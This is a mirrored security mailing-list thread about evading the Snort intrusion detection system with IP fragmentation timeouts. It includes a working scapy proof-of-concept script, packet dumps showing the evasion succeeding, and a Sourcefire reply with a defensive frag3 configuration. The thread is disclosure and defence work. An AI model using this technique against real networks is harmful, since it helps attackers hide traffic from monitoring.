Likes Likes:  0
Resultaten 1 tot 5 van de 5
Geen
  1. #1
    a@securityfocus.com, non@securityfocus.com,
    Verified evasion in Snort
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Verified evasion in Snort

    <pre>
    Dan Kaminsky gave a presentation at shmoocon and mentioned using
    ip fragmentation timers to evade intrusion detection systems. It's
    a pretty straightforward technique and easy to code up so we
    decided to look and see if Snort was vulnerable.

    ------------------------------------------------------------------

    We added a couple of rules

    alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"Found Generic ICMP Packet"; icode:0; itype:8; classtype:misc-activity; sid:384; rev:5
    alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"Found BadStuff"; content:"BADSTUFF";icode:0; itype:8; classtype:misc-activity; sid:384; rev:5

    to a snort 2.3.3 config file (gentoo emerge).

    We crafted up a quick ping with the string "BADSTUFF" to test our configuration.
    Sure enough, snort alerted on the packet. Next we tested that snort was
    properly assembly fragments. We fragmented the icmp echo request into two
    packets and threw them at the target host. Snort properly reassembled them
    in either order and the target returned an echo reply send to a Windows XP
    host.

    Now for the attack. We crafted 3 fragments. The first contained a standard
    icmp ping header. The second contained the BADSTUFF string and the third
    contained an alternate GODSTUFF string.

    Step 1)

    Send over the GODSTUFF packet. The GODSTUFF fragment is recieved by Snort
    and the Windows XP machine.

    Snort WindowsXP
    --->GODSTUFF GODSTUFF GODSTUFF


    Step 2)

    Wait 5 seconds for the fragment to timeout on the XP Host. The frament is
    still in the reassembly buffer for Snort.

    Snort WindowsXP
    (Wait 5sec) GODSTUFF


    Step 3)

    Send over the common ICMP Header. It is recieved by both Snort and the
    WindowsXP host.

    Snort WindowsXP
    GODSTUFF
    --->Header Header Header



    Snort now has both pieces it needs for reassembly and reconstructs the framents
    into a broken ICMP packet and discards both fragments. The WindowsXP host
    now only had the header fragment in the reassembly buffer. (Note: we could have
    made the icmp checksum work out, but we didn't have to.)

    Snort WindowsXP
    --->Header Header



    Step 4)

    Send over the BADSTUFF packet.

    Snort WindowsXP
    Header
    --->BADSTUFF BADSTUFF BADSTUFF


    The WindowsXP host properly reassembles the icmp packet and sends us back
    an icmp echo reply with the BADSTUFF string in it. No alerts from snort.
    Eventually the BADSTUFF fragment will silently timeout in Snort's buffer.


    -------------

    This technique could be used to bypass most Snort signatures. It'd be fun
    to add a snort-inline plugin to do it automatically when pen-testing. If
    Snort cleared the fragments in the reassembly buffer on and icmp fragmentation
    reassembly time exceeded message, the attack would be hard to pull off.
    Unfortunately, many stacks and hardened systems no longer send out those
    messages.

    Jason Larsen
    Mike Milivich

    attached is a proof-of-concept in scapy


    #!/usr/bin/python

    from scapy import *
    from time import sleep
    from random import seed
    from random import randint

    # seed the random number generating using the current time
    seed(None)

    # victim
    ip = IP(dst="10.4.4.4")
    # generate a random ID, all of the fragments have to have the
    # same ID, but we want to use something that the IDS/target isn't
    # already trying to reassemble
    ip.id = randint(0x1000,0x5000)
    ip.proto = 0x1 # ICMP protocol number

    # get just the data part, not the ip header
    data1 = str(ip/ICMP(id=0x8236, seq=83)/("BADSTUFF"))[len(ip):]
    data2 = str(ip/ICMP(id=0x8236, seq=83)/("GODSTUFF"))[len(ip):]

    # split into fragments
    splitLoc = 8
    frag1 = data1[:splitLoc]
    frag2 = data1[splitLoc:]
    frag2Good = data2[splitLoc:]

    # send the fragments

    # send the "good" fragment
    ip.flags = 0
    ip.frag = splitLoc / 8
    send(ip/frag2Good)

    # wait for good fragment to timeout on the target, this will change
    # depending on the target... 5 seconds worked against a test windows box
    sleep(5)

    # send the first fragment which causes the IDS to reassemble
    ip.flags = 1
    ip.frag = 0
    send(ip/frag1)

    # send the bad fragment to reassemble on the target, sits in the IDS
    # until the IDS flush's it from the fragment cache
    ip.flags = 0
    ip.frag = splitLoc / 8
    send(ip/frag2)

    </pre>

  2. #2
    Thierry Zoller
    Verified evasion in Snort
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Verified evasion in Snort

    Dear List,

    asc> Dan Kaminsky gave a presentation at shmoocon and mentioned using
    asc> ip fragmentation timers to evade intrusion detection systems.
    Just FYI, for Risk Assesement, this information has already been presented
    last year by Dan at Defcon13 .

    --
    http://secdev.zoller.lu
    Thierry Zoller
    Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7


  3. #3
    mwatchinski@sourcefire.com
    Verified evasion in Snort
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Verified evasion in Snort

    This and other target base fragmentation evasions are the reason we re-wrote the fragmentation engine in Snort.

    If you look at Judy Novak's Frag3 Development paper, Snort's latest fragmentation engine (frag3) supports target-based fragmentation policies for overlaps, ttl evasions, and timeouts. This can be configured on a per IP basis to allow exact emulation of ho
    w the end host handles fragmentation reassembly.

    Here is a sample configuration that could be used for frag3. This configuration would handle the evasion outlined in the advisory. This configuration is based on the 5 second timeout used in the PoC code provided.

    preprocessor frag3_engine: policy first \
    bind_to 10.2.1.0/24 \
    timeout 5 \
    detect_anomalies

    From our testing, Windows XP actually has a 1 minute timeout for fragments. The actual configuration to handle this evasion would be the following:

    preprocessor frag3_engine: policy first \
    bind_to 10.2.1.0/24 \
    timeout 60 \
    detect_anomalies

    For the VRT's detailed analysis of the PoC tool and the advisory please see:

    http://www.snort.org/rules/docs/vrt/...nort_v233.html


    Cheers,
    Matthew Watchinski
    Director, Vulnerability Research
    Sourcefire, Inc.

  4. #4
    anonpoet@inconnu.isu.edu
    Verified evasion in Snort
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Re: Verified evasion in Snort

    <pre>
    There seems to be some confusion about the fragmentation IDS evasion. We've observed
    fragmentation timeouts on windows from 5 seconds to 90 seconds depending on the
    software installed and random chance. Here are raw dumps from an evasion.

    The mistake Judy Novak made in her analysis was in not recalculating the delay between
    the first fragment and the other two fragments. If it is too short the target will reassemble
    the first two fragments and find an invalid checksum discarding the packet. No ICMP
    response will be sent.

    Some experimentation will have to be done to find the correct timeout. It can be done
    remotely by increasing the time between two good fragments until a reply isn't sent.
    (Windows boxes don't seem to send out a frag time exceeded on anything other than
    the first fragment.)

    Here's a packet dump to verify that Snort's frag2 preprocessor is working:

    16:04:18.155735 IP (tos 0x0, ttl 64, id 15537, offset 0, flags [+], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: ICMP echo request, id 33334, seq 83, length 8
    0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
    0x0010: 001c 3cb1 2000 4001 0054 0a04 04d9 0a04 ..<...@..T......
    0x0020: 04fc 0800 5446 8236 0053 5555 5555 5555 ....TF.6.SUUUUUU
    0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
    16:04:18.178271 IP (tos 0x0, ttl 64, id 15537, offset 8, flags [none], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: icmp
    0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
    0x0010: 001c 3cb1 0001 4001 2053 0a04 04d9 0a04 ..<...@..S......
    0x0020: 04fc 4241 4453 5455 4646 5555 5555 5555 ..BADSTUFFUUUUUU
    0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
    16:04:18.178325 IP (tos 0x0, ttl 128, id 57573, offset 0, flags [none], proto: ICMP (1), length: 36) 10.4.4.252 > 10.4.4.217: ICMP echo reply, id 33334, seq 83, length 16
    0x0000: 000d 93b4 d31a 0011 2f7e db0b 0800 4500 ......../~....E.
    0x0010: 0024 e0e5 0000 8001 3c17 0a04 04fc 0a04 .$......<.......
    0x0020: 04d9 0000 5c46 8236 0053 4241 4453 5455 ....\F.6.SBADSTU
    0x0030: 4646 0000 0000 0000 0000 0000 FF..........


    [**] [1:384:5] Found BadStuff [**]
    [Classification: Misc activity] [Priority: 3]
    02/02-16:04:18.178271 10.4.4.217 -> 10.4.4.252
    ICMP TTL:64 TOS:0x0 ID:15537 IpLen:20 DgmLen:36
    Type:8 Code:0 ID:33334 Seq:83 ECHO

    [**] [1:384:5] Found Generic ICMP Packet [**]
    [Classification: Misc activity] [Priority: 3]
    02/02-16:04:18.178271 10.4.4.217 -> 10.4.4.252
    ICMP TTL:64 TOS:0x0 ID:15537 IpLen:20 DgmLen:36
    Type:8 Code:0 ID:33334 Seq:83 ECHO



    With no delay snort properly reassembles the fragments and generates an alert. With a delay, the target doesn't reassemble, but
    Snort still generates an alert.

    16:01:33.951416 IP (tos 0x0, ttl 64, id 12524, offset 0, flags [+], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: ICMP echo request, id 33334, seq 83, length 8
    0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
    0x0010: 001c 30ec 2000 4001 0c19 0a04 04d9 0a04 ..0...@.........
    0x0020: 04fc 0800 5446 8236 0053 5555 5555 5555 ....TF.6.SUUUUUU
    0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
    16:02:38.281468 IP (tos 0x0, ttl 128, id 57570, offset 0, flags [none], proto: ICMP (1), length: 56) 10.4.4.252 > 10.4.4.217: ICMP ip reassembly time exceeded, length 36
    IP (tos 0x0, ttl 64, id 12524, offset 0, flags [+], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: ICMP echo request, id 33334, seq 83, length 8
    0x0000: 000d 93b4 d31a 0011 2f7e db0b 0800 4500 ......../~....E.
    0x0010: 0038 e0e2 0000 8001 3c06 0a04 04fc 0a04 .8......<.......
    0x0020: 04d9 0b01 162f 0000 0000 4500 001c 30ec ...../....E...0.
    0x0030: 2000 4001 0c19 0a04 04d9 0a04 04fc 0800 ..@.............
    0x0040: 5446 8236 0053 TF.6.S
    16:03:04.977353 IP (tos 0x0, ttl 64, id 12524, offset 8, flags [none], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: icmp
    0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
    0x0010: 001c 30ec 0001 4001 2c18 0a04 04d9 0a04 ..0...@.,.......
    0x0020: 04fc 4241 4453 5455 4646 5555 5555 5555 ..BADSTUFFUUUUUU
    0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU

    [**] [1:384:5] Found BadStuff [**]
    [Classification: Misc activity] [Priority: 3]
    02/02-16:03:04.977353 10.4.4.217 -> 10.4.4.252
    ICMP TTL:64 TOS:0x0 ID:12524 IpLen:20 DgmLen:36
    Type:8 Code:0 ID:33334 Seq:83 ECHO

    [**] [1:384:5] Found Generic ICMP Packet [**]
    [Classification: Misc activity] [Priority: 3]
    02/02-16:03:04.977353 10.4.4.217 -> 10.4.4.252
    ICMP TTL:64 TOS:0x0 ID:12524 IpLen:20 DgmLen:36
    Type:8 Code:0 ID:33334 Seq:83 ECHO


    With a delay of 91 seconds, the IDS evasion works and we get back a properly reassembled ICMP reply.

    15:57:17.846828 IP (tos 0x0, ttl 64, id 12603, offset 8, flags [none], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: icmp
    0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
    0x0010: 001c 313b 0001 4001 2bc9 0a04 04d9 0a04 ..1;..@.+.......
    0x0020: 04fc 474f 4453 5455 4646 5555 5555 5555 ..GODSTUFFUUUUUU
    0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
    15:58:48.873073 IP (tos 0x0, ttl 64, id 12603, offset 0, flags [+], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: ICMP echo request, id 33334, seq 83, length 8
    0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
    0x0010: 001c 313b 2000 4001 0bca 0a04 04d9 0a04 ..1;..@.........
    0x0020: 04fc 0800 5446 8236 0053 5555 5555 5555 ....TF.6.SUUUUUU
    0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
    15:58:48.892586 IP (tos 0x0, ttl 64, id 12603, offset 8, flags [none], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: icmp
    0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
    0x0010: 001c 313b 0001 4001 2bc9 0a04 04d9 0a04 ..1;..@.+.......
    0x0020: 04fc 4241 4453 5455 4646 5555 5555 5555 ..BADSTUFFUUUUUU
    0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
    15:58:48.892644 IP (tos 0x0, ttl 128, id 57559, offset 0, flags [none], proto: ICMP (1), length: 36) 10.4.4.252 > 10.4.4.217: ICMP echo reply, id 33334, seq 83, length 16
    0x0000: 000d 93b4 d31a 0011 2f7e db0b 0800 4500 ......../~....E.
    0x0010: 0024 e0d7 0000 8001 3c25 0a04 04fc 0a04 .$......<%......
    0x0020: 04d9 0000 5c46 8236 0053 4241 4453 5455 ....\F.6.SBADSTU
    0x0030: 4646 0000 0000 0000 0000 0000 FF..........


    There were no snort alerts. We haven't tried frag3, but fragments generally aren't delayed in the wild so an
    alert on all fragments more than a second apart would probably be effective.


    Jason Larsen
    Mike Milvich

    </pre>

  5. #5
    Dave Korn
    Verified evasion in Snort
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Re: Verified evasion in Snort

    anonpoet@inconnu.isu.edu wrote:


    > (Windows boxes don't seem to send out a frag time exceeded on
    > anything other than the first fragment.)


    That's what the host requirements RFC demands: see e.g.
    http://www.rfc-editor.org/rfc/rfc1122.txt

    ----------------------quote----------------------
    3.2.2 Internet Control Message Protocol -- ICMP

    [ ... snip ... ]

    An ICMP error message MUST NOT be sent as the result of
    receiving:

    [ ... snip ... ]

    * a non-initial fragment, or
    ----------------------quote----------------------

    cheers,
    DaveK
    --
    Can't think of a witty .sigline today....




Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics